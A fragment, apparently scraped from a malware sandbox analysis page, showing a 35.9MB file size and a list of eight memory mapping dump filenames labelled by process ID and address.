                                                                                                                                                              Filesize

                                                                                                                                                              35.9MB

                                                                                                                                                            • memory/5116-356-0x0000000000000000-mapping.dmp
                                                                                                                                                            • memory/5184-613-0x0000000000000000-mapping.dmp
                                                                                                                                                            • memory/5312-583-0x0000000000000000-mapping.dmp
                                                                                                                                                            • memory/5320-617-0x0000000000000000-mapping.dmp
                                                                                                                                                            • memory/5344-614-0x0000000000000000-mapping.dmp
                                                                                                                                                            • memory/5480-592-0x0000000000000000-mapping.dmp
                                                                                                                                                            • memory/5776-597-0x0000000000000000-mapping.dmp
                                                                                                                                                            • memory/5824-599-0x0000000000000000-mapping.dmp